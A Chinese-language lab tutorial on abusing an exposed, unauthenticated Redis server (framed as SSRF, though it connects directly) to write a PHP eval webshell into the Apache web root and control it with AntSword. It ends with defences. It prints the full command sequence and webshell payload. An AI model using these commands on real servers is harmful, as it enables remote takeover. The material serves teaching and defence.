目錄
前言
SSRF 漏洞深度剖析
Redis:強大的內存數據庫
Redis 產生漏洞的原因
SSRF 漏洞利用 Redis 實戰步驟
準備環境
下載安裝 Redis
配置漏洞環境
啟動 Redis
攻擊機遠程連接 Redis
利用 Redis 寫 Webshell
防范措施
前言
在網絡安全領域,SSRF漏洞與Redis結合的攻擊極具威脅。本文先介紹SSRF和Redis概念、Redis作用及產生漏洞原因,接著詳細呈現利用SSRF漏洞操控Redis寫入Webshell的實戰步驟,最后給出針對性防范措施,助你提升網絡安全防護能力。
SSRF 漏洞深度剖析
SSRF(Server - Side Request Forgery,服務器端請求偽造),是一種源于服務器端的安全漏洞。正常情況下,服務器端會根據用戶的請求去訪問其他服務器資源。但在存在 SSRF 漏洞時,攻擊者可以通過精心構造惡意請求,讓服務器以自身的身份去訪問那些本不該訪問的資源,比如內網的敏感服務、未授權的外部鏈接等。這就好比攻擊者披上了服務器的 “外衣”,借助服務器的權限來實現自己的惡意目的,而服務器往往對這種偽裝毫無察覺。
Redis:強大的內存數據庫
Redis(Remote Dictionary Server)是一款基于內存的開源鍵值對存儲數據庫,以其高性能、低延遲而聞名。它支持多種數據結構,如字符串、哈希表、列表、集合等,這使得它在各種應用場景中都能大顯身手。Redis 主要有以下作用:
- 緩存數據:在 Web 應用中,將頻繁訪問的數據存儲在 Redis 中,大大減少數據庫的負載,提高系統響應速度。例如電商網站的商品信息、用戶登錄狀態等,都可以緩存到 Redis 中。
- 消息隊列:利用 Redis 的列表數據結構,可以實現簡單高效的消息隊列。生產者將消息發送到隊列中,消費者從隊列中獲取消息進行處理,常用于異步任務處理、日志收集等場景。
- 分布式鎖:在分布式系統中,通過 Redis 的原子操作來實現分布式鎖,確保同一時間只有一個節點能夠執行特定的任務,避免數據沖突和不一致。
Redis 產生漏洞的原因
- 配置不當:如本文實戰中,將 Redis 綁定到 0.0.0.0,這意味著 Redis 可以接受來自任何 IP 地址的連接請求。同時關閉保護模式,使得 Redis 失去了基本的安全防護,攻擊者可以輕易連接到 Redis 服務。
- 未授權訪問:如果 Redis 沒有設置密碼或者密碼過于簡單,攻擊者就能夠直接訪問 Redis,執行各種命令,包括修改配置、寫入惡意數據等。
- 與其他漏洞結合:當 Redis 與存在 SSRF 漏洞的服務器結合時,攻擊者可以利用 SSRF 漏洞,通過服務器間接控制 Redis,繞過網絡限制,實現更復雜的攻擊。
SSRF 漏洞利用 Redis 實戰步驟
使用命令
wget http://download.redis.io/releases/redis-6.0.16.tar.gz #下載安裝 Redis
tar xf redis-6.0.16.tar.gz #解壓下載的安裝包
cd redis-6.0.16/ #進入解壓后的 Redis 目錄
make && make install #編譯安裝
vim redis.conf #編輯redis文件
./src/redis - server redis.conf & #啟動redis服務
redis - cli - h 10.0.0.107 - p 6379 #攻擊機連接redis
service apache2 start #開啟apache
???????netstat - tnulp #查看端口信息
config set dir /var/www/html/ #將 Redis 的持久化目錄設置為 Web 服務器的根目錄
config set dbfilename webshell.php #動態修改 Redis 服務器持久化文件的文件名
set webshell "\n\n\n<?php @eval($_POST['123'])?> \n\n\n" #向 Redis 中存儲包含惡意代碼的內容
save #觸發 Redis 的持久化操作
準備環境
- 企業系統 kali 系統 200:作為 Redis 服務的部署環境,后續將成為攻擊目標。在此系統上下載安裝 Redis,為漏洞利用提供基礎。
- 攻擊機 ?kali :用于發起攻擊操作,模擬攻擊者的視角,執行一系列惡意操作。
下載安裝 Redis
- 下載 Redis - 6.0.16:使用wget命令從官方源下載安裝包
- 解壓:通過tar命令解壓下載的壓縮包,為后續安裝做準備:
- 進入 Redis 目錄:進入解壓后的 Redis 目錄,準備進行編譯安裝:
- 編譯安裝:執行make和make install命令,完成 Redis 的編譯和安裝:
配置漏洞環境
編輯 Redis 配置文件redis.conf,進行危險配置:
修改以下關鍵配置:
bind 0.0.0.0 #允許任意IP連接,使Redis暴露在公網風險中
protected mode no #關閉保護模式,執行命令不受限制
這樣的配置使得 Redis 服務處于高度危險狀態,為攻擊者提供了可乘之機。
啟動 Redis
啟動 Redis 服務,使其監聽默認端口 6379???????
攻擊機遠程連接 Redis
在攻擊機上,使用redis - cli命令連接到目標 Redis 服務
由于之前的危險配置,攻擊機無需任何驗證即可成功連接到 Redis 服務,這是攻擊的第一步。
利用 Redis 寫 Webshell
- 準備被攻擊環境(被攻擊者 120):在被攻擊機上啟動 Apache 網站服務,為 Webshell 的寫入提供環境
通過netstat命令檢查服務啟動情況,確保 Apache 和 Redis 服務正常運行
- 寫入 Webshell:在攻擊機連接的 Redis 客戶端中,執行一系列命令來寫入 Webshell
這些命令依次將 Redis 的持久化目錄設置為 Apache 網站根目錄,將持久化文件名設置為webshell.php,設置包含惡意 PHP 代碼的鍵值對,并執行持久化操作,從而在 Apache 網站根目錄下生成一個可執行任意 PHP 代碼的 Webshell 文件。
- 查看目標代碼目錄:在被攻擊機上查看/var/www/html/目錄,確認webshell.php文件已成功生成
- 使用 AntSword 連接:利用 AntSword 等 Webshell 管理工具,配置連接地址為被攻擊機的 IP 地址加上webshell.php路徑,密碼為webshell中已寫入的密碼,即可成功連接到目標服務器,實現對服務器的遠程控制,執行系統命令、上傳下載文件等操作。
防范措施
- 合理配置 Redis:避免將 Redis 綁定到 0.0.0.0,只綁定到內部可信的 IP 地址。啟用保護模式protected mode yes,并設置高強度密碼,通過requirepass配置項實現。
- 輸入驗證與過濾:對服務器端接收的所有用于發起請求的輸入參數進行嚴格驗證和過濾,確保其符合預期格式和范圍,防止惡意構造。
- 限制請求范圍:配置白名單,限制服務器只能訪問特定的域名和 IP 地址,對于內部服務,如 Redis,確保只有授權服務器可以訪問。
- 定期更新軟件:保持 Redis 和服務器操作系統、相關軟件的更新,及時修復已知安全漏洞。
網絡安全是一場持續的戰斗,了解 SSRF 漏洞利用 Redis 的攻擊方式和防范措施,是保障網絡安全的重要一步。希望本文能幫助讀者提升安全意識,在實際應用中有效防范此類安全威脅。
???????